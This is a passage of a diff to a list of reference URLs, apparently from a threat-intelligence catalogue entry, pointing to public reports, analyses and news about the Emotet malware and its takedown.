"https://blog.vincss.net/2021/01/re019-from-a-to-x-analyzing-some-real-cases-which-used-recent-Emotet-samples.html", - "https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html", - "https://securelist.com/analysis/publications/69560/the-banking-trojan-emotet-detailed-analysis/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/exploring-emotet-examining-emotets-activities-infrastructure/", - "https://hello.global.ntt/en-us/insights/blog/shellbot-victim-overlap-with-emotet-network-infrastructure", - "https://www.politie.nl/nieuws/2021/februari/17/politie-bestrijdt-cybercrime-via-nederlandse-infrastructuur.html", - "https://cofense.com/flash-bulletin-emotet-epoch-1-changes-c2-communication/", - "https://notes.netbytesec.com/2022/02/technical-malware-analysis-return-of.html", - "https://www.digitalshadows.com/blog-and-research/emotet-disruption/", - "https://portswigger.net/daily-swig/emotet-trojan-implicated-in-wolverine-solutions-ransomware-attack", - "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", - "https://medium.com/@Ilandu/emotet-unpacking-35bbe2980cfb", - "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", - "https://www.bleepingcomputer.com/news/security/emotet-malware-attacks-return-after-three-month-break/", - "https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf", - "https://www.binarydefense.com/emocrash-exploiting-a-vulnerability-in-emotet-malware-for-defense/", - "https://www.justice.gov/opa/pr/emotet-botnet-disrupted-international-cyber-operation", - "https://www.fortinet.com/blog/threat-research/ms-office-files-involved-in-emotet-trojan-campaign-pt-one", - "https://cyber.wtf/2022/03/23/what-the-packer/", - "https://blogs.jpcert.or.jp/en/2019/12/emotetfaq.html", - "https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_workshop_malware-analysis_jp.pdf", - "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf", - "https://www.blueliv.com/blog/research/where-is-emotet-latest-geolocation-data/", - "https://www.dsih.fr/article/4483/emotet-de-retour-poc-exchange-0-day-windows-a-quelle-sauce-les-attaquants-prevoient-de-nous-manger-cette-semaine.html", - "https://cdn.www.carbonblack.com/wp-content/uploads/2020/05/VMWCB-Report-Modern-Bank-Heists-2020.pdf", - "https://www.heise.de/ct/artikel/Was-Emotet-anrichtet-und-welche-Lehren-die-Opfer-daraus-ziehen-4665958.html", - "https://www.lac.co.jp/lacwatch/alert/20211119_002801.html", - "https://www.advintel.io/post/corporate-loader-emotet-history-of-x-project-return-for-ransomware", - "https://www.bitsight.com/blog/emotet-smb-spreader-back", - "https://www.zscaler.com/blogs/security-research/return-emotet-malware", - "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", - "https://forensicitguy.github.io/shortcut-to-emotet-ttp-change/", - "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", - "https://blog.kryptoslogic.com/malware/2018/10/31/emotet-email-theft.html", - "https://twitter.com/ContiLeaks/status/1498614197202079745", - "https://www.atomicmatryoshka.com/post/malware-headliners-emotet", - "https://www.bleepingcomputer.com/news/security/emotet-now-drops-cobalt-strike-fast-forwards-ransomware-attacks/", - "https://www.picussecurity.com/blog/emotet-technical-analysis-part-2-powershell-unveiled", - "https://d00rt.github.io/emotet_network_protocol/", - "https://www.binarydefense.com/emotet-wi-fi-spreader-upgraded/", - "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", - "https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/", - "https://kienmanowar.wordpress.com/2022/01/23/quicknote-emotet-epoch4-epoch5-tactics/", - "https://www.proofpoint.com/us/blog/threat-insight/emotet-tests-new-delivery-techniques", - "https://blog.trendmicro.com/trendlabs-security-intelligence/new-emotet-hijacks-windows-api-evades-sandbox-analysis/", - "https://www.cert.pl/en/news/single/whats-up-emotet/", - "https://www.fortinet.com/blog/threat-research/deep-dive-into-emotet-malware.html", - "https://www.kroll.com/en/insights/publications/cyber/monitor/emotet-analysis-new-lnk-in-the-infection-chain", - "https://www.proofpoint.com/us/blog/threat-insight/comprehensive-look-emotets-fall-2022-return", - "https://www.youtube.com/watch?v=_mGMJFNJWSk", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://thehackernews.com/2022/02/notorious-trickbot-malware-gang-shuts.html", - "https://www.melani.admin.ch/melani/de/home/dokumentation/newsletter/Trojaner_Emotet_greift_Unternehmensnetzwerke_an.html", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://securelist.com/financial-cyberthreats-in-2020/101638/", - "https://team-cymru.com/blog/2021/01/27/taking-down-emotet/", - "https://research.checkpoint.com/2021/when-old-friends-meet-again-why-emotet-chose-trickbot-for-rebirth/", - "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmwcb-report-modern-bank-heists-2020.pdf", - "https://www.hornetsecurity.com/en/threat-research/emotet-botnet-takedown/", - "https://threatconnect.com/blog/research-roundup-activity-on-previously-identified-apt33-domains/", - "https://isc.sans.edu/diary/28044", - "https://community.riskiq.com/article/2cd1c003", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://blog.trendmicro.com/trendlabs-security-intelligence/emotet-adds-new-evasion-technique-and-uses-connected-devices-as-proxy-cc-servers/", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_0_JPCERT_en.pdf", - "https://blog.cyble.com/2022/04/27/emotet-returns-with-new-ttps-and-delivers-lnk-files-to-its-victims/", - "https://www.bleepingcomputer.com/news/security/emotet-malware-is-back-and-rebuilding-its-botnet-via-trickbot/", - "https://www.gdata.de/blog/2017/10/30110-emotet-beutet-outlook-aus", - "https://www.trendmicro.com/en_no/research/23/c/emotet-returns-now-adopts-binary-padding-for-evasion.html", - "https://ibm.ent.box.com/s/hs5pcayhbbhjvj8di5sqdpbbd88tsh89", - "https://security-soup.net/quick-post-spooky-new-powershell-obfuscation-in-emotet-maldocs/", - "https://forensicitguy.github.io/emotet-excel4-macro-analysis/", "https://thehackernews.com/2022/02/trickbot-gang-likely-shifting.html", - "https://www.dragos.com/blog/industry-news/suspected-conti-ransomware-activity-in-the-auto-manufacturing-sector/", - "https://threatresearch.ext.hp.com/emotets-return-whats-different/", - "https://www.secureworks.com/blog/gold-ulrick-leaks-reveal-organizational-structure-and-relationships", - "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", - "https://isc.sans.edu/forums/diary/Emotet+Stops+Using+0000+in+Spambot+Traffic/28270/", - "https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf", - "https://www.jpcert.or.jp/english/at/2019/at190044.html", - "https://www.cynet.com/attack-techniques-hands-on/new-wave-of-emotet-when-project-x-turns-into-y/", - "https://www.netresec.com/?page=Blog&month=2022-05&post=Emotet-C2-and-Spam-Traffic-Video", - "https://blog.lumen.com/emotet-redux/", - "https://mirshadx.wordpress.com/2020/11/22/analyzing-an-emotet-dropper-and-writing-a-python-script-to-statically-unpack-payload/", - "https://www.intezer.com/blog/malware-analysis/how-threat-actors-abuse-lnk-files/", - "https://www.bitdefender.com/files/News/CaseStudies/study/377/Bitdefender-Whitepaper-WMI-creat4871-en-EN-GenericUse.pdf", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://adalogics.com/blog/the-state-of-advanced-code-injections", "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", - "https://research.checkpoint.com/emotet-tricky-trojan-git-clones/", - "https://www.intrinsec.com/emotet-returns-and-deploys-loaders/", - "https://www.microsoft.com/security/blog/2021/02/01/what-tracking-an-attacker-email-infrastructure-tells-us-about-persistent-cybercriminal-operations/", - "https://www.youtube.com/watch?v=EyDiIAt__dI", - "https://muha2xmad.github.io/unpacking/emotet-part-2/", - "https://isc.sans.edu/forums/diary/Emotet+infections+and+followup+malware/24532/", - "https://blog.kryptoslogic.com/malware/2018/08/01/emotet.html", - "https://blog.malwarebytes.com/threat-intelligence/2021/11/trickbot-helps-emotet-come-back-from-the-dead/", - "https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf", - "https://isc.sans.edu/diary/rss/27036", - "http://ropgadget.com/posts/defensive_pcres.html", - "https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/", - "https://krebsonsecurity.com/2022/03/conti-ransomware-group-diaries-part-ii-the-office/", - "https://www.hornetsecurity.com/en/security-information/emotet-update-increases-downloads/", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://www.trendmicro.com/en_us/research/22/a/emotet-spam-abuses-unconventional-ip-address-formats-spread-malware.html", - "https://kienmanowar.wordpress.com/2022/12/19/z2abimonthly-malware-challege-emotet-back-from-the-dead/", - "https://www.youtube.com/watch?v=_BLOmClsSpc", - "https://blog.reversinglabs.com/blog/conversinglabs-ep-2-conti-pivots-as-ransomware-as-a-service-struggles", - "https://www.zdnet.com/article/meet-the-white-hat-group-fighting-emotet-the-worlds-most-dangerous-malware/", - "https://www.microsoft.com/security/blog/2017/11/06/mitigating-and-eliminating-info-stealing-qakbot-and-emotet-in-corporate-networks/", - "https://blogs.vmware.com/security/2022/03/emotet-c2-configuration-extraction-and-analysis.html", - "https://www.heise.de/security/artikel/Emotet-Trickbot-Ryuk-ein-explosiver-Malware-Cocktail-4573848.html", - "https://www.netskope.com/blog/emotet-new-delivery-mechanism-to-bypass-vba-protection", - "https://www.checkpoint.com/press/2022/march-2022s-most-wanted-malware-easter-phishing-scams-help-emotet-assert-its-dominance/", - "https://cert-agid.gov.it/news/malware/semplificare-lanalisi-di-emotet-con-python-e-iced-x86/", + "https://www.jpcert.or.jp/english/at/2019/at190044.html", + "https://www.proofpoint.com/us/blog/threat-insight/geofenced-amazon-japan-credential-phishing-volumes-rival-emotet", + "https://www.spamhaus.org/news/article/783/emotet-adds-a-further-layer-of-camouflage", + "https://cofense.com/flash-bulletin-emotet-epoch-1-changes-c2-communication/", + "https://marcoramilli.com/2019/10/14/is-emotet-gang-targeting-companies-with-external-soc/", + "https://www.youtube.com/watch?v=5_-oR_135ss", + "https://www.zscaler.com/blogs/research/emotet-back-action-after-short-break", + "https://ibm.ent.box.com/s/hs5pcayhbbhjvj8di5sqdpbbd88tsh89", "https://unit42.paloaltonetworks.com/emotet-malware-summary-epoch-4-5/", - "https://blogs.vmware.com/networkvirtualization/2022/02/emotet-is-not-dead-yet-part-2.html/", - "https://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-droppers/", - "https://medium.com/@Ilandu/emotet-campaign-6f240f7a5ed5", - "https://www.fortinet.com/blog/threat-research/Trends-in-the-recent-emotet-maldoc-outbreak", - "https://www.welivesecurity.com/2018/11/09/emotet-launches-major-new-spam-campaign/", + "https://research.loginsoft.com/threat-research/from-innocence-to-malice-the-onenote-malware-campaign-uncovered/", + "https://www.cert.govt.nz/it-specialists/advisories/emotet-malware-being-spread-via-email/", + "https://www.intezer.com/blog/malware-analysis/how-threat-actors-abuse-lnk-files/", + "https://muha2xmad.github.io/unpacking/emotet-part-2/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/new-emotet-hijacks-windows-api-evades-sandbox-analysis/", "https://www.fortinet.com/blog/threat-research/notable-droppers-emerge-in-recent-threat-campaigns", - "https://www.spamtitan.com/blog/emotet-malware-revives-old-email-conversations-threads-to-increase-infection-rates/", - "https://www.securityartwork.es/2021/06/16/analisis-campana-emotet/", - "https://medium.com/@0xd0cf11e/analyzing-emotet-with-ghidra-part-1-4da71a5c8d69", - "https://www.cyren.com/blog/articles/example-analysis-of-multi-component-malware", + "https://blogs.cisco.com/security/emotet-is-back", + "https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf", + "https://security-soup.net/quick-post-spooky-new-powershell-obfuscation-in-emotet-maldocs/", + "https://blog.malwarebytes.com/botnets/2019/09/emotet-is-back-botnet-springs-back-to-life-with-new-spam-campaign/", + "https://blogs.vmware.com/security/2022/03/emotet-c2-configuration-extraction-and-analysis.html", + "https://www.bitsight.com/blog/emotet-smb-spreader-back", + "https://thedfirreport.com/2022/09/12/dead-or-alive-an-emotet-story/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf", + "https://hatching.io/blog/powershell-analysis", + "https://www.hornetsecurity.com/en/threat-research/emotet-botnet-takedown/", + "https://blog.kryptoslogic.com/malware/2018/08/01/emotet.html", + "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", + "https://www.checkpoint.com/press/2022/march-2022s-most-wanted-malware-easter-phishing-scams-help-emotet-assert-its-dominance/", + "https://www.hornetsecurity.com/en/security-information/emotet-is-back/", + "https://resecurity.com/blog/article/shortcut-based-lnk-attacks-delivering-malicious-code-on-the-rise", + "https://www.proofpoint.com/us/blog/threat-insight/emotet-makes-timely-adoption-political-and-elections-lures", + "https://securelist.com/emotet-darkgate-lokibot-crimeware-report/110286/", + "https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html", + "https://blog.reversinglabs.com/blog/conversinglabs-ep-2-conti-pivots-as-ransomware-as-a-service-struggles", + "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf", + "https://int0xcc.svbtle.com/dissecting-emotet-s-network-communication-protocol", + "https://www.eurojust.europa.eu/worlds-most-dangerous-malware-emotet-disrupted-through-global-action", + "https://www.heise.de/ct/artikel/Was-Emotet-anrichtet-und-welche-Lehren-die-Opfer-daraus-ziehen-4665958.html", + "https://cloudblogs.microsoft.com/microsoftsecure/2017/11/06/mitigating-and-eliminating-info-stealing-qakbot-and-emotet-in-corporate-networks/?source=mmpc", + "https://www.bleepingcomputer.com/news/security/emotet-now-drops-cobalt-strike-fast-forwards-ransomware-attacks/", + "https://www.lac.co.jp/lacwatch/alert/20211119_002801.html", + "https://securelist.com/analysis/publications/69560/the-banking-trojan-emotet-detailed-analysis/", + "https://cyber.wtf/2021/11/15/guess-whos-back/", + "https://blog.prevailion.com/wizard-spider-continues-to-confound-4298370f6903", + "https://speakerdeck.com/fr0gger/x-ray-of-malware-evasion-techniques-analysis-dissection-cure", + "https://blog.malwarebytes.com/threat-analysis/2021/01/cleaning-up-after-emotet-the-law-enforcement-file/", + "https://blogs.jpcert.or.jp/en/2019/12/emotetfaq.html", + "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://www.zscaler.com/blogs/security-research/return-emotet-malware", + "https://blog.intel471.com/2020/04/14/understanding-the-relationship-between-emotet-ryuk-and-trickbot/", "https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection", - "https://www.proofpoint.com/us/blog/threat-insight/comprehensive-look-emotets-summer-2020-return", + "https://www.justice.gov/opa/pr/emotet-botnet-disrupted-international-cyber-operation", + "https://www.bleepingcomputer.com/news/security/united-nations-targeted-with-emotet-malware-phishing-attack/", + "https://asec.ahnlab.com/en/33600/", + "https://isc.sans.edu/diary/28044", + "https://www.ironnet.com/blog/detecting-a-mummyspider-campaign-and-emotet-infection", + "https://blog.kryptoslogic.com/malware/2018/10/31/emotet-email-theft.html", + "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", + "https://isc.sans.edu/diary/rss/28254", + "https://blogs.vmware.com/networkvirtualization/2022/01/emotet-is-not-dead-yet.html/", + "https://intel471.com/blog/emotet-takedown-2021/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-emotet-dridex-and-bitpaymer-gangs-linked-by-a-similar-loader/", + "https://www.zscaler.com/blogs/security-research/return-emotet-malware-analysis", + "https://blogs.vmware.com/networkvirtualization/2022/02/emotet-is-not-dead-yet-part-2.html/", + "https://medium.com/brim-securitys-knowledge-funnel/hunting-emotet-with-brim-and-zeek-1000c2f5c1ff", + "https://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-droppers/", + "https://www.hornetsecurity.com/en/threat-research/comeback-emotet/", + "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta542-banker-malware-distribution-service", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", + "https://www.welivesecurity.com/2023/07/06/whats-up-with-emotet/", + "https://blog.vincss.net/2021/01/re019-from-a-to-x-analyzing-some-real-cases-which-used-recent-Emotet-samples.html", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", + "https://www.bleepingcomputer.com/news/security/emotet-malware-now-steals-your-email-attachments-to-attack-contacts/", + "https://threatpost.com/emotet-spreading-malicious-excel-files/178444/", + "https://unit42.paloaltonetworks.com/emotet-command-and-control/", + "https://www.inde.nz/blog/analysis-of-the-latest-wave-of-emotet-malicious-documents", + "https://www.telekom.com/en/blog/group/article/cybersecurity-dissecting-emotet-part-one-592612", + "https://www.netskope.com/blog/emotet-still-abusing-microsoft-office-macros", + "https://www.secureworks.com/research/threat-profiles/gold-crestwood", + "https://www.welivesecurity.com/2018/11/09/emotet-launches-major-new-spam-campaign/", + "https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor", + "http://ropgadget.com/posts/defensive_pcres.html", + "https://www.deepinstinct.com/blog/the-re-emergence-of-emotet", + "https://blog.malwarebytes.com/threat-intelligence/2021/11/trickbot-helps-emotet-come-back-from-the-dead/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-010.pdf", + "https://www.digitalshadows.com/blog-and-research/how-cybercriminals-are-taking-advantage-of-covid-19-scams-fraud-misinformation/", + "https://d00rt.github.io/emotet_network_protocol/", + "https://news.sophos.com/en-us/2020/07/28/emotets-return-is-the-canary-in-the-coal-mine/?cmp=30728", + "https://www.netskope.com/blog/you-can-run-but-you-cant-hide-advanced-emotet-updates", "http://blog.fortinet.com/2017/05/03/deep-analysis-of-new-emotet-variant-part-1", + "https://www.botconf.eu/wp-content/uploads/2019/12/B2019-OReilly-Jarvis-End-to-end-Botnet-Monitoring.pdf", + "https://www.deepinstinct.com/2020/08/12/why-emotets-latest-wave-is-harder-to-catch-than-ever-before/", + "https://www.tagesschau.de/investigativ/br-recherche/emotet-schadsoftware-103.html", + "https://github.com/d00rt/emotet_research", + "https://www.gdata.de/blog/2017/10/30110-emotet-beutet-outlook-aus", + "https://www.bitsight.com/blog/emotet-botnet-rises-again", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf", + "https://www.dsih.fr/article/4483/emotet-de-retour-poc-exchange-0-day-windows-a-quelle-sauce-les-attaquants-prevoient-de-nous-manger-cette-semaine.html", + "https://www.esentire.com/security-advisories/emotet-activity-identified", + "https://blogs.blackberry.com/en/2023/01/emotet-returns-with-new-methods-of-evasion", + "https://paste.cryptolaemus.com", + "https://research.checkpoint.com/2021/when-old-friends-meet-again-why-emotet-chose-trickbot-for-rebirth/", + "https://www.bleepingcomputer.com/news/security/emotet-trickbot-malware-duo-is-back-infecting-windows-machines/", + "https://www.esentire.com/blog/increase-in-emotet-activity-and-cobalt-strike-deployment", + "https://www.wiwo.de/my/technologie/digitale-welt/emotet-netzwerk-wie-eines-der-groessten-hacker-netzwerke-der-welt-lahmgelegt-wurde/27164048.html", + "https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html", + "https://www.binarydefense.com/emotet-evolves-with-new-wi-fi-spreader/", + "https://www.cert.pl/en/news/single/whats-up-emotet/", + "https://www.youtube.com/watch?v=_mGMJFNJWSk", + "https://threatresearch.ext.hp.com/emotets-return-whats-different/", + "https://isc.sans.edu/forums/diary/Emotet+Stops+Using+0000+in+Spambot+Traffic/28270/", + "https://forensicitguy.github.io/shortcut-to-emotet-ttp-change/", + "https://www.fortinet.com/blog/threat-research/deep-dive-into-emotet-malware.html", + "https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_workshop_malware-analysis_jp.pdf", + "https://www.zeit.de/digital/2021-06/cybercrime-extortion-internet-spyware-ransomware-police-prosecution-hackers", + "https://unit42.paloaltonetworks.com/new-emotet-infection-method/", + "https://medium.com/threat-intel/emotet-dangerous-malware-keeps-on-evolving-ac84aadbb8de", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_0_JPCERT_en.pdf", + "https://twitter.com/milkr3am/status/1354459859912192002", + "https://www.youtube.com/watch?v=8PHCZdpNKrw", + "https://www.cert.ssi.gouv.fr/alerte/CERTFR-2020-ALE-019/", + "https://www.netresec.com/?page=Blog&month=2022-05&post=Emotet-C2-and-Spam-Traffic-Video", + "https://threatconnect.com/blog/threatconnect-research-roundup-probable-sandworm-infrastructure", + "https://threatconnect.com/blog/research-roundup-activity-on-previously-identified-apt33-domains/", + "https://research.checkpoint.com/emotet-tricky-trojan-git-clones/", + "https://unit42.paloaltonetworks.com/attack-chain-overview-emotet-in-december-2020-and-january-2021/", + "https://forensicitguy.github.io/emotet-excel4-macro-analysis/", + "https://github.com/mauronz/binja-emotet", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_4_ogawa-niseki_en.pdf", + "https://www.spamtitan.com/blog/emotet-malware-revives-old-email-conversations-threads-to-increase-infection-rates/", + "https://twitter.com/raashidbhatt/status/1237853549200936960", + "https://www.welivesecurity.com/2022/06/16/how-emotet-is-changing-tactics-microsoft-tightening-office-macro-security/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-003.pdf", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://portswigger.net/daily-swig/emotet-trojan-implicated-in-wolverine-solutions-ransomware-attack", + "https://spamauditor.org/2020/10/the-many-faces-of-emotet/", + "https://www.picussecurity.com/blog/emotet-technical-analysis-part-2-powershell-unveiled", + "https://www.vmware.com/content/dam/learn/en/amer/fy23/pdf/1669005_Emotet_Exposed_A_Look_Inside_the_Cybercriminal_Supply_Chain.pdf", + "https://www.fortinet.com/blog/threat-research/ms-office-files-involved-again-in-recent-emotet-trojan-campaign-part-ii", + "https://www.cronup.com/la-botnet-de-emotet-reinicia-ataques-en-chile-y-latinoamerica/", + "https://notes.netbytesec.com/2021/02/deobfuscating-emotet-macro-and.html", + "https://blog.talosintelligence.com/2020/02/coronavirus-themed-malware.html", + "https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/emotet-adds-new-evasion-technique-and-uses-connected-devices-as-proxy-cc-servers/", + "https://isc.sans.edu/diary/rss/27036", + "https://kienmanowar.wordpress.com/2022/12/19/z2abimonthly-malware-challege-emotet-back-from-the-dead/", + "https://www.vmray.com/cyber-security-blog/malware-analysis-spotlight-emotets-use-of-cryptography/", + "https://www.bleepingcomputer.com/news/security/emotet-botnet-switches-to-64-bit-modules-increases-activity/", + "https://therecord.media/over-780000-email-accounts-compromised-by-emotet-have-been-secured/", + "https://kienmanowar.wordpress.com/2022/01/23/quicknote-emotet-epoch4-epoch5-tactics/", + "https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/", + "https://blog.securityonion.net/2022/02/quick-malware-analysis-emotet-epoch-5.html", + "https://krebsonsecurity.com/2022/03/conti-ransomware-group-diaries-part-ii-the-office/", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", + "https://www.youtube.com/watch?v=AkZ5TYBqcU4", + "https://www.secureworks.com/blog/gold-ulrick-leaks-reveal-organizational-structure-and-relationships", + "https://unit42.paloaltonetworks.com/domain-parking/", + "https://medium.com/@Ilandu/emotet-unpacking-35bbe2980cfb", + "https://blog.virustotal.com/2020/11/using-similarity-to-expand-context-and.html", + "https://isc.sans.edu/forums/diary/Emotet+infections+and+followup+malware/24532/", + "https://blog.talosintelligence.com/2020/11/emotet-2020.html", + "https://www.netskope.com/blog/netskope-threat-coverage-the-return-of-emotet", + "https://hello.global.ntt/en-us/insights/blog/emotet-disruption-europol-counterattack", + "https://www.heise.de/security/artikel/Emotet-Trickbot-Ryuk-ein-explosiver-Malware-Cocktail-4573848.html", + "https://www.kroll.com/en/insights/publications/cyber/monitor/emotet-analysis-new-lnk-in-the-infection-chain", + "https://www.gdatasoftware.com/blog/2022/01/malware-vaccines", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://mirshadx.wordpress.com/2020/11/22/analyzing-an-emotet-dropper-and-writing-a-python-script-to-statically-unpack-payload/", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://www.cynet.com/attack-techniques-hands-on/new-wave-of-emotet-when-project-x-turns-into-y/", + "https://blog.lumen.com/emotet-redux/", + "https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf", + "https://www.digitalshadows.com/blog-and-research/emotet-disruption/", + "https://www.bleepingcomputer.com/news/security/emotet-malware-now-installs-via-powershell-in-windows-shortcut-files/", + "https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much", + "https://cert-agid.gov.it/news/malware/semplificare-lanalisi-di-emotet-con-python-e-iced-x86/", + "https://www.atomicmatryoshka.com/post/malware-headliners-emotet", + "https://www.hornetsecurity.com/en/security-information/emotet-update-increases-downloads/", + "https://blog.nviso.eu/2022/03/23/hunting-emotet-campaigns-with-kusto/", + "https://www.us-cert.gov/ncas/alerts/TA18-201A", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://pl-v.github.io/plv/posts/Emotet-unpacking/", + "https://www.seqrite.com/blog/the-return-of-the-emotet-as-the-world-unlocks/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://blog.talosintelligence.com/emotet-switches-to-onenote/", + "https://unit42.paloaltonetworks.com/emotet-thread-hijacking/", + "https://www.telekom.com/en/blog/group/article/cybersecurity-dissecting-emotet-part-two-596128", + "https://persianov.net/emotet-malware-analysis-part-1", + "https://www.infosecurity-magazine.com/blogs/a-rundown-of-the-emotet-malware/", + "https://www.dragos.com/blog/industry-news/suspected-conti-ransomware-activity-in-the-auto-manufacturing-sector/", + "https://www.proofpoint.com/us/blog/threat-insight/comprehensive-look-emotets-summer-2020-return", + "https://www.trendmicro.com/en_us/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict.html", + "https://de.darktrace.com/blog/emotet-resurgence-cross-industry-campaign-analysis", + "https://www.cybereason.com/blog/threat-analysis-report-all-paths-lead-to-cobalt-strike-icedid-emotet-and-qbot", + "https://muha2xmad.github.io/unpacking/emotet-part-1/", + "https://cofense.com/blog/emotet-sending-malicious-emails-after-three-month-hiatus/", + "https://www.picussecurity.com/blog/emotet-technical-analysis-part-1-reveal-the-evil-code", + "https://www.binarydefense.com/emotet-wi-fi-spreader-upgraded/", + "https://intezer.com/blog/intezer-analyze/fantastic-payloads-and-where-we-find-them", + "https://www.youtube.com/watch?v=q8of74upT_g", + "https://blog.cyble.com/2022/04/27/emotet-returns-with-new-ttps-and-delivers-lnk-files-to-its-victims/", + "https://content.secureworks.com/-/media/Files/US/Reports/Monthly%20Threat%20Intelligence/Secureworks_ECO1_ThreatIntelligenceExecutiveReport2022Vol2.ashx", + "https://www.bleepingcomputer.com/news/security/emotet-malware-attacks-return-after-three-month-break/", + "https://www.advintel.io/post/corporate-loader-emotet-history-of-x-project-return-for-ransomware", + "https://quickheal.co.in/documents/technical-paper/Whitepaper_HowToPM.pdf", + "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", + "https://www.youtube.com/watch?v=EyDiIAt__dI", + "https://notes.netbytesec.com/2022/02/technical-malware-analysis-return-of.html", "https://www.hornetsecurity.com/en/security-information/awaiting-the-inevitable-return-of-emotet/", + "https://www.berlin.de/sen/justva/presse/pressemitteilungen/2020/pm-11-2020-t-systems-forensik_bericht_public_v1.pdf", + "https://cdn.www.carbonblack.com/wp-content/uploads/2020/05/VMWCB-Report-Modern-Bank-Heists-2020.pdf", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", + 